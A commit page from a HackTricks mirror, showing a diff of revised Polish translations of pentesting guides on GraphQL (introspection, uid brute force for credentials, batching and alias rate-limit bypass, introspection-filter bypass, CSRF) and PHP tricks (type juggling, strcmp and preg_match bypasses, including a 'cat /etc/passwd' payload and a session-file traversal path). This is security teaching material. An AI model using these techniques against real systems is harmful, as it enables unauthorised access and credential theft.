2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-21 08:28:27 +00:00

Translated ['network-services-pentesting/pentesting-web/graphql.md', 'ne

This commit is contained in:
Translator 2024-07-17 11:18:16 +00:00
parent 3cd37ee850
commit 6a1a983aa2
4 changed files with 156 additions and 124 deletions
network-services-pentesting/pentesting-web
pentesting-web/ssrf-server-side-request-forgery

View file

@ -16,11 +16,11 @@ Inne sposoby wsparcia HackTricks:
## Wprowadzenie
GraphQL jest **wyróżniany** jako **efektywna alternatywa** dla interfejsu API REST, oferując uproszczone podejście do pobierania danych z backendu. W przeciwieństwie do REST, który często wymaga wielu żądań do różnych punktów końcowych w celu zebrania danych, GraphQL umożliwia pobranie wszystkich wymaganych informacji za pomocą **jednego żądania**. Ten proces usprawnia znacznie pracę programistów, zmniejszając złożoność ich procesów pobierania danych.
GraphQL jest **wyróżniany** jako **efektywna alternatywa** dla interfejsu API REST, oferując uproszczone podejście do pobierania danych z backendu. W przeciwieństwie do REST, który często wymaga wielu żądań do różnych punktów końcowych w celu zebrania danych, GraphQL umożliwia pobranie wszystkich wymaganych informacji za pomocą **jednego żądania**. Ten proces usprawnia znacznie pracę deweloperów, zmniejszając złożoność ich procesów pobierania danych.
## GraphQL a Bezpieczeństwo
Wraz z pojawieniem się nowych technologii, w tym GraphQL, pojawiają się również nowe podatności bezpieczeństwa. Istotnym punktem jest to, że **GraphQL nie zawiera domyślnie mechanizmów uwierzytelniania**. Odpowiedzialność za wdrożenie takich środków bezpieczeństwa spoczywa na programistach. Bez odpowiedniego uwierzytelnienia punkty końcowe GraphQL mogą ujawniać poufne informacje nieuwierzytelnionym użytkownikom, stanowiąc znaczne ryzyko bezpieczeństwa.
Wraz z pojawieniem się nowych technologii, w tym GraphQL, pojawiają się również nowe podatności bezpieczeństwa. Istotnym punktem do zauważenia jest to, że **GraphQL nie zawiera domyślnie mechanizmów uwierzytelniania**. Odpowiedzialność za wdrożenie takich środków bezpieczeństwa spoczywa na deweloperach. Bez odpowiedniego uwierzytelnienia punkty końcowe GraphQL mogą ujawniać poufne informacje nieuwierzytelnionym użytkownikom, stanowiąc znaczne ryzyko bezpieczeństwa.
### Ataki Brute Force na Katalogi i GraphQL
@ -35,15 +35,15 @@ Aby zidentyfikować wystawione instancje GraphQL, zaleca się uwzględnienie okr
* `/graphql/api`
* `/graphql/graphql`
Zidentyfikowanie otwartych instancji GraphQL umożliwia sprawdzenie obsługiwanych zapytań. Jest to kluczowe dla zrozumienia danych dostępnych poprzez punkt końcowy. System introspekcji GraphQL ułatwia to, szczegółowo opisując zapytania obsługiwane przez schemat. Aby uzyskać więcej informacji na ten temat, zapoznaj się z dokumentacją GraphQL na temat introspekcji: [**GraphQL: Język zapytań dla interfejsów API.**](https://graphql.org/learn/introspection/)
Zidentyfikowanie otwartych instancji GraphQL pozwala na zbadanie obsługiwanych zapytań. Jest to kluczowe dla zrozumienia danych dostępnych poprzez punkt końcowy. System introspekcji GraphQL ułatwia to, szczegółowo opisując zapytania, które obsługuje schemat. Aby uzyskać więcej informacji na ten temat, zapoznaj się z dokumentacją GraphQL na temat introspekcji: [**GraphQL: Język zapytań dla interfejsów API.**](https://graphql.org/learn/introspection/)
### Odcisk palca
Narzędzie [**graphw00f**](https://github.com/dolevf/graphw00f) jest zdolne do wykrywania, który silnik GraphQL jest używany na serwerze, a następnie wyświetla pomocne informacje dla audytora bezpieczeństwa.
Narzędzie [**graphw00f**](https://github.com/dolevf/graphw00f) jest zdolne do wykrywania, który silnik GraphQL jest używany na serwerze, a następnie drukuje przydatne informacje dla audytora bezpieczeństwa.
#### Uniwersalne zapytania <a href="#universal-queries" id="universal-queries"></a>
Aby sprawdzić, czy dany URL jest usługą GraphQL, można wysłać **uniwersalne zapytanie**, `query{__typename}`. Jeśli odpowiedź zawiera `{"data": {"__typename": "Query"}}`, potwierdza to, że URL hostuje punkt końcowy GraphQL. Ta metoda opiera się na polu `__typename` GraphQL, które ujawnia typ zapytanego obiektu.
Aby sprawdzić, czy dany URL jest usługą GraphQL, można wysłać **uniwersalne zapytanie**, `query{__typename}`. Jeśli odpowiedź zawiera `{"data": {"__typename": "Query"}}`, potwierdza to, że URL hostuje punkt końcowy GraphQL. Ta metoda polega na polu `__typename` GraphQL, które ujawnia typ zapytanego obiektu.
```javascript
query{__typename}
```
@ -183,7 +183,7 @@ Ostatnia linia kodu to zapytanie graphql, które wyciągnie wszystkie metadane z
Jeśli introspekcja jest włączona, możesz użyć [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager), aby zobaczyć w interfejsie graficznym wszystkie opcje.
### Zapytania
### Zapytywanie
Teraz, gdy wiemy, jakie informacje są zapisane w bazie danych, spróbujmy **wydobyć pewne wartości**.
@ -208,7 +208,7 @@ Możesz po prostu zapytać o to:
query={hiddenFlags}
```
W innym przykładzie, gdzie wewnątrz obiektu typu "_Query_" były 2 obiekty: "_user_" i "_users_".\
Jeśli te obiekty nie wymagają żadnego argumentu do wyszukiwania, można **pobrać wszystkie informacje z nich**, pytając tylko o dane, których chcesz. W tym przykładzie z Internetu można wydobyć zapisane nazwy użytkowników i hasła:
Jeśli te obiekty nie wymagają żadnego argumentu do wyszukiwania, można **pobrać wszystkie informacje z nich** pytając o dane, których chcesz. W tym przykładzie z Internetu można wydobyć zapisane nazwy użytkowników i hasła:
![](<../../.gitbook/assets/image (880).png>)
@ -217,30 +217,30 @@ Jednakże, w tym przykładzie, jeśli spróbujesz to zrobić, otrzymasz ten **b
![](<../../.gitbook/assets/image (1042).png>)
Wygląda na to, że w jakiś sposób będzie wyszukiwać używając argumentu "_**uid**_" typu _**Int**_.\
W każdym razie, już wiedzieliśmy, że w sekcji [Podstawowa Enumeracja](graphql.md#basic-enumeration) zaproponowano zapytanie, które pokazywało nam wszystkie potrzebne informacje: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Tak czy inaczej, już wiedzieliśmy, że w sekcji [Podstawowa Enumeracja](graphql.md#basic-enumeration) zaproponowano zapytanie, które pokazywało nam wszystkie potrzebne informacje: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Jeśli przeczytasz dostarczone zdjęcie, gdy wykonasz to zapytanie, zobaczysz, że "_**user**_" miał **arg** "_**uid**_" typu _Int_.
Jeśli przeczytasz obrazek dostarczony podczas uruchamiania tego zapytania, zobaczysz, że "_**user**_" miał **arg** "_**uid**_" typu _Int_.
Więc, wykonując lekki atak _**uid**_ bruteforce, odkryłem, że dla _**uid**=**1**_ została pobrana nazwa użytkownika i hasło:\
Więc, wykonując lekkie bruteforce _**uid**_ odkryłem, że dla _**uid**=**1**_ została pobrana nazwa użytkownika i hasło:\
`query={user(uid:1){user,password}}`
![](<../../.gitbook/assets/image (90).png>)
Zauważ, że **odkryłem**, że mogę prosić o **parametry** "_**user**_" i "_**password**_", ponieważ jeśli spróbuję szukać czegoś, czego nie ma (`query={user(uid:1){noExists}}`), otrzymam ten błąd:
Zauważ, że **odkryłem**, że mogę prosić o **parametry** "_**user**_" i "_**password**_", ponieważ jeśli spróbuję szukać czegoś, czego nie ma (`query={user(uid:1){noExists}}`) otrzymam ten błąd:
![](<../../.gitbook/assets/image (707).png>)
Podczas fazy **enumeracji** odkryłem, że obiekt "_**dbuser**_" miał pola "_**user**_" i "_**password**_.
I podczas fazy **enumeracji** odkryłem, że obiekt "_**dbuser**_" miał jako pola "_**user**_" i "_**password**_.
**Sztuczka z wydobywaniem ciągu zapytań (dzięki @BinaryShadow\_)**
**Sztuczka z wyciekiem ciągu zapytania (dzięki @BinaryShadow\_)**
Jeśli możesz szukać według typu ciąg, np.: `query={theusers(description: ""){username,password}}` i **szukasz pustego ciągu**, to **wydobywa wszystkie dane**. (_Zauważ, że ten przykład nie jest powiązany z przykładem z samouczków, dla tego przykładu załóż, że możesz szukać używając "**theusers**" według pola typu ciąg o nazwie "**description**"_).
Jeśli możesz szukać według typu ciągów, np.: `query={theusers(description: ""){username,password}}` i **szukasz pustego ciągu**, wtedy **wycieknie całe dane**. (_Zauważ, że ten przykład nie jest powiązany z przykładem z samouczków, dla tego przykładu załóż, że możesz szukać używając "**theusers**" według pola typu ciąg "**description**"_).
### Wyszukiwanie
W tej konfiguracji **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane przez swoje **e-maile** i **imię**; **filmy** przez swoje **nazwy** i **ocenę**. **Osoby** mogą być przyjaciółmi między sobą oraz mieć filmy, co wskazuje na relacje w bazie danych.
Możesz **wyszukiwać** osoby **po** **imieniu** i otrzymywać ich e-maile:
Możesz **wyszukiwać** osoby **po** nazwie i otrzymywać ich e-maile:
```javascript
{
searchPerson(name: "John Doe") {
@ -304,7 +304,7 @@ W **introspekcji** można znaleźć **zadeklarowane** **mutacje**. Na poniższym
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>)
W tej konfiguracji **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane przez swój **adres e-mail** i **imię**; **filmy** przez swoją **nazwę** i **ocenę**. **Osoby** mogą być przyjaciółmi między sobą oraz mieć przypisane filmy, co wskazuje na relacje w bazie danych.
W tej konfiguracji **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane przez swój **adres e-mail** i **imię**; **filmy** przez swoją **nazwę** i **ocenę**. **Osoby** mogą być przyjaciółmi między sobą oraz mieć filmy, co wskazuje na relacje w bazie danych.
Mutacja dodająca **nowe filmy** do bazy danych może wyglądać jak poniższa (w tym przykładzie mutacja nazywa się `addMovie`):
```javascript
@ -317,7 +317,7 @@ rating
}
}
```
**Zauważ, jak zarówno wartości, jak i typ danych są wskazane w zapytaniu.**
**Zauważ, jak w zapytaniu wskazane są zarówno wartości, jak i typ danych.**
Dodatkowo, baza danych obsługuje operację **mutacji**, o nazwie `addPerson`, która umożliwia tworzenie **osób** wraz z ich powiązaniami z istniejącymi **przyjaciółmi** i **filmami**. Ważne jest, aby zauważyć, że przyjaciele i filmy muszą istnieć w bazie danych przed ich powiązaniem z nowo utworzoną osobą.
```javascript
@ -354,13 +354,13 @@ Jak wyjaśniono w [**jednej z podatności opisanych w tym raporcie**](https://ww
### Łączenie ataków siłowych w 1 żądaniu API
Ta informacja została zaczerpnięta z [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Uwierzytelnianie poprzez interfejs API GraphQL z **równoczesnym wysyłaniem wielu zapytań z różnymi danymi uwierzytelniającymi** w celu sprawdzenia go. To klasyczny atak siłowy, ale teraz możliwe jest wysłanie więcej niż jednej pary login/hasło w jednym żądaniu HTTP ze względu na funkcję partycjonowania GraphQL. Ten sposób działania wprowadził w błąd zewnętrzne aplikacje monitorujące częstotliwość, sugerując, że wszystko jest w porządku i nie ma bota do odgadywania haseł.
Uwierzytelnianie poprzez interfejs API GraphQL z **równoczesnym wysyłaniem wielu zapytań z różnymi danymi uwierzytelniającymi** w celu sprawdzenia go. To klasyczny atak siłowy, ale teraz możliwe jest wysłanie więcej niż jednej pary login/hasło w jednym żądaniu HTTP ze względu na funkcję łączenia zapytań GraphQL. Ten sposób działania zmyli zewnętrzne aplikacje monitorujące częstotliwość, sugerując, że wszystko jest w porządku i nie ma bota do łamania haseł próbującego odgadnąć hasła.
Poniżej znajdziesz najprostszą demonstrację żądania uwierzytelniającego aplikacji, z **3 różnymi parami email/hasło jednocześnie**. Oczywiście możliwe jest wysłanie tysięcy w jednym żądaniu w ten sam sposób:
Poniżej znajdziesz najprostszą demonstrację żądania uwierzytelniania aplikacji, z **3 różnymi parami email/hasło jednocześnie**. Oczywiście możliwe jest wysłanie tysięcy w jednym żądaniu w ten sam sposób:
![](<../../.gitbook/assets/image (1081).png>)
Jak widać na zrzucie ekranu odpowiedzi, pierwsze i trzecie żądania zwróciły _null_ i odzwierciedliły odpowiednie informacje w sekcji _error_. **Druga mutacja miała poprawne dane uwierzytelniające** i odpowiedź zawierała poprawny token sesji uwierzytelniającej.
Jak widać na zrzucie ekranu odpowiedzi, pierwsze i trzecie żądania zwróciły _null_ i odzwierciedliły odpowiednie informacje w sekcji _error_. **Drugie przekształcenie miało poprawne dane uwierzytelniające** i odpowiedź zawierała poprawny token sesji uwierzytelniającej.
![](<../../.gitbook/assets/image (119) (1).png>)
@ -368,13 +368,13 @@ Jak widać na zrzucie ekranu odpowiedzi, pierwsze i trzecie żądania zwróciły
Coraz więcej **punktów końcowych graphql wyłącza introspekcję**. Jednak błędy, które graphql zwraca, gdy otrzymuje nieoczekane żądanie, są wystarczające dla narzędzi takich jak [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), aby odtworzyć większość schematu.
Ponadto rozszerzenie Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **obserwuje żądania interfejsu API GraphQL przechodzące przez Burp** i **tworzy** wewnętrzny GraphQL **schemat** z każdym nowym zapytaniem, które widzi. Może również ujawnić schemat dla GraphiQL i Voyager. Rozszerzenie zwraca fałszywą odpowiedź, gdy otrzymuje zapytanie introspekcyjne. W rezultacie GraphQuail pokazuje wszystkie zapytania, argumenty i pola dostępne do użycia w interfejsie API. Aby uzyskać więcej informacji, [**sprawdź to**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Co więcej, rozszerzenie Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **obserwuje żądania interfejsu API GraphQL przechodzące przez Burp** i **tworzy** wewnętrzny GraphQL **schemat** z każdym nowym zapytaniem, które widzi. Może również ujawnić schemat dla GraphiQL i Voyager. Rozszerzenie zwraca fałszywą odpowiedź, gdy otrzymuje zapytanie introspekcyjne. W rezultacie GraphQuail pokazuje wszystkie zapytania, argumenty i pola dostępne do użycia w interfejsie API. Aby uzyskać więcej informacji, [**sprawdź to**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Ładna **lista słów** do odkrywania [**encji GraphQL można znaleźć tutaj**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Ominięcie obrony przed introspekcją GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
### Omijanie obrony przed introspekcją GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
Aby ominąć ograniczenia dotyczące zapytań introspekcyjnych w interfejsach API, wstawienie **specjalnego znaku po słowie kluczowym `__schema`** okazuje się skuteczne. Ta metoda wykorzystuje powszechne przeoczenia programistów w wzorcach regex, które mają na celu zablokowanie introspekcji poprzez skupienie się na słowie kluczowym `__schema`. Dodanie znaków takich jak **spacje, nowe linie i przecinki**, które GraphQL ignoruje, ale mogą nie być uwzględnione w regex, pozwala ominąć ograniczenia. Na przykład zapytanie introspekcyjne z nową linią po `__schema` może ominąć takie zabezpieczenia:
Aby ominąć ograniczenia dotyczące zapytań introspekcyjnych w interfejsach API, skuteczne okazuje się wstawienie **specjalnego znaku po słowie kluczowym `__schema`**. Ta metoda wykorzystuje powszechne przeoczenia programistów w wzorcach regex, które mają na celu zablokowanie introspekcji poprzez skupienie się na słowie kluczowym `__schema`. Dodając znaki takie jak **spacje, nowe linie i przecinki**, które GraphQL ignoruje, ale mogą nie być uwzględnione w regex, można obejść ograniczenia. Na przykład zapytanie introspekcyjne z nową linią po `__schema` może ominąć takie zabezpieczenia:
```bash
# Example with newline to bypass
{
@ -402,7 +402,7 @@ Jeśli nie wiesz, czym jest CSRF, przeczytaj następującą stronę:
Możesz tam znaleźć kilka punktów końcowych GraphQL **skonfigurowanych bez tokenów CSRF.**
Zauważ, że zazwyczaj żądania GraphQL są wysyłane za pomocą żądań POST z użyciem Content-Type **`application/json`**.
Zauważ, że zazwyczaj żądania GraphQL są wysyłane za pomocą żądań POST z użyciem typu zawartości **`application/json`**.
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
@ -414,7 +414,7 @@ Dlatego, ponieważ żądania CSRF takie jak poprzednie są wysyłane **bez żąd
Należy jednak zauważyć, że nowa domyślna wartość ciasteczka flagi `samesite` w Chrome to `Lax`. Oznacza to, że ciasteczko będzie wysyłane tylko z witryny stron trzecich w żądaniach GET.
Należy pamiętać, że zazwyczaj możliwe jest wysłanie **żądania** **zapytania** również jako **żądanie GET i token CSRF może nie być weryfikowany w żądaniu GET.**
Należy zauważyć, że zazwyczaj możliwe jest wysłanie **żądania** **zapytania** również jako **żądanie GET i token CSRF może nie być weryfikowany w żądaniu GET.**
Ponadto, nadużywając ataku [**XS-Search**](../../pentesting-web/xs-search/) może być możliwe wyciek treści z punktu końcowego GraphQL nadużywając poświadczeń użytkownika.
@ -444,9 +444,9 @@ W poniższym przykładzie można zobaczyć, że operacja to "forgotPassword" i p
## Ominięcie limitów szybkości za pomocą aliasów w GraphQL
W GraphQL aliasy są potężną funkcją, która pozwala **nazwać właściwości w sposób jawny** podczas wysyłania żądania API. Ta funkcjonalność jest szczególnie przydatna do pobierania **wielu instancji tego samego typu** obiektu w jednym żądaniu. Aliasy mogą być wykorzystane do pokonania ograniczenia, które uniemożliwia obiektom GraphQL posiadanie wielu właściwości o tej samej nazwie.
W GraphQL aliasy są potężną funkcją, która pozwala **nazwać właściwości jawnie** podczas wysyłania żądania API. Ta funkcjonalność jest szczególnie przydatna do pobierania **wielu instancji tego samego typu** obiektu w jednym żądaniu. Aliasy mogą być wykorzystane do pokonania ograniczenia, które uniemożliwia obiektom GraphQL posiadanie wielu właściwości o tej samej nazwie.
Dla szczegółowego zrozumienia aliasów w GraphQL, zaleca się skorzystanie z następującego źródła: [Aliasy](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Dla szczegółowego zrozumienia aliasów w GraphQL, zalecane jest skorzystanie z następującego źródła: [Aliasy](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Podstawowym celem aliasów jest zmniejszenie konieczności wykonywania licznych wywołań API, jednak zidentyfikowano niezamierzone zastosowanie, gdzie aliasy mogą być wykorzystane do przeprowadzania ataków brutalnej siły na punkt końcowy GraphQL. Jest to możliwe, ponieważ niektóre punkty końcowe są chronione przez limity szybkości zaprojektowane do zwalczania ataków brutalnej siły poprzez ograniczenie **liczby żądań HTTP**. Niemniej jednak te limity szybkości mogą nie uwzględniać liczby operacji w każdym żądaniu. Ponieważ aliasy pozwalają na dodanie wielu zapytań w jednym żądaniu HTTP, mogą one obejść takie środki ograniczające szybkość.
@ -469,13 +469,14 @@ valid
### Skanery podatności
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testuje powszechne błędy konfiguracji punktów końcowych graphql
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Określa odcisk używanego graphql
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Zestaw narzędzi do pobierania schematów, wyszukiwania danych wrażliwych, testowania autoryzacji, atakowania schematów metodą brute force oraz znajdowania ścieżek do określonego typu.
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testuje powszechne błędy konfiguracyjne punktów końcowych graphql
* [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skrypt audytu bezpieczeństwa GraphQL z naciskiem na wykonywanie zbiorczych zapytań i mutacji GraphQL.
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Odcisk palca używanego graphql
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Zestaw narzędzi, który można użyć do pobierania schematów i wyszukiwania danych poufnych, testowania autoryzacji, brutalnego narzucania schematów i znajdowania ścieżek do określonego typu.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Może być używany samodzielnie lub jako [rozszerzenie Burp](https://github.com/doyensec/inql).
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Może być używany również jako klient CLI do automatyzacji ataków
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Może być używany jako klient CLI do automatyzacji ataków
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Narzędzie, które wymienia różne sposoby dotarcia do określonego typu w schemacie GraphQL.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Rozszerzenie Burp do zaawansowanego testowania GraphQL. Komponent _**Scanner**_ stanowi rdzeń InQL v5.0, gdzie można analizować punkt końcowy GraphQL lub lokalny plik z introspekcją schematu. Automatycznie generuje wszystkie możliwe zapytania i mutacje, organizując je w uporządkowany sposób do analizy. Komponent _**Attacker**_ pozwala uruchamiać wsadowe ataki GraphQL, co może być przydatne do omijania słabo zaimplementowanych limitów szybkości.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Rozszerzenie Burp do zaawansowanego testowania GraphQL. Komponent _**Scanner**_ stanowi rdzeń InQL v5.0, gdzie można analizować punkt końcowy GraphQL lub lokalny plik schematu introspekcji. Automatycznie generuje wszystkie możliwe zapytania i mutacje, organizując je w strukturalny widok do analizy. Komponent _**Attacker**_ pozwala uruchamiać zbiorcze ataki GraphQL, co może być przydatne do omijania słabo zaimplementowanych limitów szybkości.
### Klienci
@ -504,10 +505,10 @@ valid
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
@ -18,11 +18,11 @@ Inne sposoby wsparcia HackTricks:
{% embed url="https://websec.nl/" %}
## Powszechne lokalizacje plików cookies:
## Powszechne lokalizacje plików cookie:
To również dotyczy plików cookies phpMyAdmin.
To również dotyczy plików cookie phpMyAdmin.
Cookies:
Pliki cookie:
```
PHPSESSID
phpMyAdmin
@ -34,11 +34,11 @@ Lokalizacje:
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Omijanie porównań w PHP
## Ominięcie porównań w PHP
### Luźne porównania/Type Juggling ( == )
Jeśli w PHP używane jest `==`, mogą wystąpić przypadki, w których porównanie nie zachowuje się oczekiwanie. Dzieje się tak, ponieważ "==" porównuje tylko wartości przekształcone do tego samego typu, jeśli chcesz również porównać, czy typ porównywanych danych jest taki sam, musisz użyć `===`.
Jeśli w PHP używane jest `==`, mogą wystąpić przypadki, w których porównanie nie zachowuje się zgodnie z oczekiwaniami. Dzieje się tak, ponieważ "==" porównuje tylko wartości przekształcone do tego samego typu, jeśli chcesz również porównać, czy typ porównywanych danych jest taki sam, musisz użyć `===`.
Tabele porównań w PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -47,11 +47,11 @@ Tabele porównań w PHP: [https://www.php.net/manual/en/types.comparisons.php](h
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie
* `"0xAAAA" == "43690" -> True` Ciągi złożone z liczb w formacie dziesiętnym lub szesnastkowym można porównać z innymi liczbami/ciągami, uzyskując wynik True, jeśli liczby były takie same (liczby w ciągu są interpretowane jako liczby)
* `"0xAAAA" == "43690" -> True` Ciągi złożone z liczb w formacie dziesiętnym lub szesnastkowym można porównać z innymi liczbami/ciągami znaków z wynikiem True, jeśli liczby były takie same (liczby w ciągu znaków są interpretowane jako liczby)
* `"0e3264578" == 0 --> True` Ciąg rozpoczynający się od "0e" i zawierający cokolwiek będzie równy 0
* `"0X3264578" == 0X --> True` Ciąg rozpoczynający się od "0" i zawierający dowolną literę (X może być dowolną literą) oraz cokolwiek będzie równy 0
* `"0e12334" == "0" --> True` Jest to bardzo interesujące, ponieważ w niektórych przypadkach można kontrolować wejściowy ciąg znaków "0" oraz pewną zawartość, która jest haszowana i porównywana do niego. Dlatego jeśli można podać wartość, która spowoduje utworzenie hasza zaczynającego się od "0e" i bez żadnej litery, można ominąć porównanie. Można znaleźć **już zahaszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Dowolna litera w ciągu jest równa liczbie całkowitej 0
* `"X" == 0 --> True` Dowolna litera w ciągu znaków jest równa liczbie całkowitej 0
Więcej informacji na stronie [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -74,19 +74,21 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
### Surowe rzucanie typów
### Suwałe występuje z `strcasecmp()`
Nawet jeśli jest używany `===`, mogą wystąpić błędy, które sprawiają, że porównanie jest podatne na surowe rzucanie typów. Na przykład, jeśli porównanie konwertuje dane na inny typ obiektu przed porównaniem:
### Ścisłe rzutowanie typów
Nawet jeśli jest używany operator `===`, mogą wystąpić błędy, które sprawiają, że porównanie jest podatne na manipulację typami. Na przykład, jeśli porównanie konwertuje dane na inny typ obiektu przed porównaniem:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)
**`preg_match()`** może być używane do **sprawdzania poprawności danych wprowadzanych przez użytkownika** (sprawdza, czy jakiekolwiek **słowo/wyrażenie regularne** z **czarnej listy** jest **obecne** w **danych wprowadzanych przez użytkownika**, a jeśli nie, kod może kontynuować swoje wykonanie).
**`preg_match()`** można użyć do **sprawdzania danych wprowadzanych przez użytkownika** (sprawdza, czy jakiekolwiek **słowo/wyrażenie regularne** z **czarnej listy** jest **obecne** w **danych wprowadzonych przez użytkownika** i jeśli nie, kod może kontynuować swoje wykonanie).
#### Ominięcie nowej linii
Jednakże, gdy ograniczamy początek wyrażenia regularnego, `preg_match()` **sprawdza tylko pierwszą linię danych wprowadzonych przez użytkownika**, więc jeśli w jakiś sposób można **przesłać** dane wejściowe w **kilku liniach**, można ominięć tę kontrolę. Przykład:
Jednakże, gdy ograniczamy początek wyrażenia regularnego `preg_match()` **sprawdza tylko pierwszą linię danych wprowadzonych przez użytkownika**, więc jeśli w jakiś sposób możesz **wysłać** dane we **wielu liniach**, możesz ominąć tę kontrolę. Przykład:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -99,7 +101,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Aby ominąć tę kontrolę, możesz **wysłać wartość z zakodowanymi znakami nowej linii** (`%0A`) lub jeśli możesz wysłać **dane JSON**, wyślij je w **kilku liniach**:
Aby ominąć tę kontrolę, możesz **wysłać wartość z zakodowanymi znakami nowej linii** (`%0A`) lub jeśli możesz wysłać **dane JSON**, wyślij je w **kilku wierszach**:
```php
{
"cmd": "cat /etc/passwd"
@ -107,10 +109,10 @@ Aby ominąć tę kontrolę, możesz **wysłać wartość z zakodowanymi znakami
```
Znajdź przykład tutaj: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Bypassowanie błędu długości**
#### **Bypass błędu długości**
(Ten bypass został wypróbowany na PHP 5.2.5 i nie udało mi się go uruchomić na PHP 7.3.15)\
Jeśli możesz przesłać do `preg_match()` **bardzo dużą poprawną wartość wejściową**, nie będzie w stanie jej przetworzyć, co pozwoli Ci **obejść** sprawdzenie. Na przykład, jeśli jest na czarnej liście JSON, możesz przesłać:
